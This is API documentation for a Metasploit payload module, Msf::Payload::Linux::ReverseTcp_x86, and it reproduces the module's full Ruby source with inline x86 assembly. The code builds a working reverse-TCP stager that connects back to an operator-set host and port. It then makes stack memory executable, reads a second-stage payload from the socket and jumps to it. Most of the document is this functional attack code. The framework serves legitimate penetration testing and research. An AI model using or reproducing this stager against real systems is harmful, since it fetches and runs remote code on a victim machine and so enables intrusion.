Module: Msf::Payload::Linux::ReverseTcp_x86

Includes:
Msf::Payload::Linux, SendUUID, TransportConfig
Defined in:
lib/msf/core/payload/linux/reverse_tcp_x86.rb

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from SendUUID

#asm_send_uuid

Methods included from Msf::Payload::Linux

#apply_prepends, #initialize

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #initialize, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Pingback::Options

#initialize

Instance Method Details

#asm_reverse_tcp(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :port (Integer)

    The port to connect to

  • :host (String)

    The host IP to connect to



77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
# File 'lib/msf/core/payload/linux/reverse_tcp_x86.rb', line 77

def asm_reverse_tcp(opts={})
  # TODO: reliability is coming
  retry_count  = opts[:retry_count]
  encoded_port = "0x%.8x" % [opts[:port].to_i, 2].pack("vn").unpack("N").first
  encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
  seconds = (opts[:sleep_seconds] || 5.0)
  sleep_seconds = seconds.to_i
  sleep_nanoseconds = (seconds % 1 * 1000000000).to_i

  mprotect_flags = 0b111 # PROT_READ | PROT_WRITE | PROT_EXEC

  if respond_to?(:generate_intermediate_stage)
    pay_mod = framework.payloads.create(self.refname)
    read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size
  elsif !module_info['Stage']['Payload'].empty?
    read_length = module_info['Stage']['Payload'].size
  else
    # If we don't know, at least use small instructions
    read_length = 0x0c00 + mprotect_flags
  end

  # I was bored on the train, ok?
  read_reg =
    if read_length % 0x100 == mprotect_flags && read_length <= 0xff00 + mprotect_flags
      # We use `edx` as part mprotect, but at two bytes assembled, this edge case is worth checking:
      # If the lower byte will be the same, just set the upper byte
      read_length = read_length / 0x100
      'dh'
    elsif read_length < 0x100
      'dl' # Also assembles in two bytes ^.^
    elsif read_length < 0x10000
      'dx' # Shave a byte off of setting `edx`
    else
      'edx' # Take five bytes :/
    end

  asm = %Q^
      push #{retry_count}        ; retry counter
      pop esi
    create_socket:
      xor ebx, ebx
      mul ebx
      push ebx
      inc ebx
      push ebx
      push 0x2
      mov al, 0x66
      mov ecx, esp
      int 0x80                   ; sys_socketcall (socket())
      xchg eax, edi              ; store the socket in edi

    set_address:
      pop ebx                    ; set ebx back to zero
      push #{encoded_host}
      push #{encoded_port}
      mov ecx, esp

    try_connect:
      push 0x66
      pop eax
      push eax
      push ecx
      push edi
      mov ecx, esp
      inc ebx
      int 0x80                   ; sys_socketcall (connect())
      test eax, eax
      jns mprotect

    handle_failure:
      dec esi
      jz failed
      push 0xa2
      pop eax
      push 0x#{sleep_nanoseconds.to_s(16)}
      push 0x#{sleep_seconds.to_s(16)}
      mov ebx, esp
      xor ecx, ecx
      int 0x80                   ; sys_nanosleep
      test eax, eax
      jns create_socket
      jmp failed
  ^

  asm << asm_send_uuid if include_send_uuid

  asm << %Q^
    mprotect:
      mov dl, 0x#{mprotect_flags.to_s(16)}
      mov ecx, 0x1000
      mov ebx, esp
      shr ebx, 0xc
      shl ebx, 0xc
      mov al, 0x7d
      int 0x80                  ; sys_mprotect
      test eax, eax
      js failed

    recv:
      pop ebx
      mov ecx, esp
      cdq
      mov #{read_reg},  0x#{read_length.to_s(16)}
      mov al, 0x3
      int 0x80                  ; sys_read (recv())
      test eax, eax
      js failed
      jmp ecx

    failed:
      mov eax, 0x1
      mov ebx, 0x1              ; set exit status to 1
      int 0x80                  ; sys_exit
  ^

  asm
end

#generate(_opts = {}) ⇒ Object

Generate the first stage



21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# File 'lib/msf/core/payload/linux/reverse_tcp_x86.rb', line 21

def generate(_opts = {})
  conf = {
    port:          datastore['LPORT'],
    host:          datastore['LHOST'],
    retry_count:   datastore['StagerRetryCount'],
    sleep_seconds: datastore['StagerRetryWait'],
  }

  # Generate the advanced stager if we have space
  if self.available_space && required_space <= self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
  end

  generate_reverse_tcp(conf)
end

#generate_reverse_tcp(opts = {}) ⇒ Object

Generate and compile the stager



52
53
54
55
# File 'lib/msf/core/payload/linux/reverse_tcp_x86.rb', line 52

def generate_reverse_tcp(opts={})
  asm = asm_reverse_tcp(opts)
  Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
end

#include_send_uuidObject

By default, we don't want to send the UUID, but we'll send for certain payloads if requested.



41
42
43
# File 'lib/msf/core/payload/linux/reverse_tcp_x86.rb', line 41

def include_send_uuid
  false
end

#required_spaceObject

Determine the maximum amount of space required for the features requested



60
61
62
63
64
65
66
67
68
69
# File 'lib/msf/core/payload/linux/reverse_tcp_x86.rb', line 60

def required_space
  # Start with our cached default generated size
  space = 300

  # Reliability adds 10 bytes for recv error checks
  space += 10

  # The final estimated size
  space
end

#transport_config(opts = {}) ⇒ Object



45
46
47
# File 'lib/msf/core/payload/linux/reverse_tcp_x86.rb', line 45

def transport_config(opts={})
  transport_config_reverse_tcp(opts)
end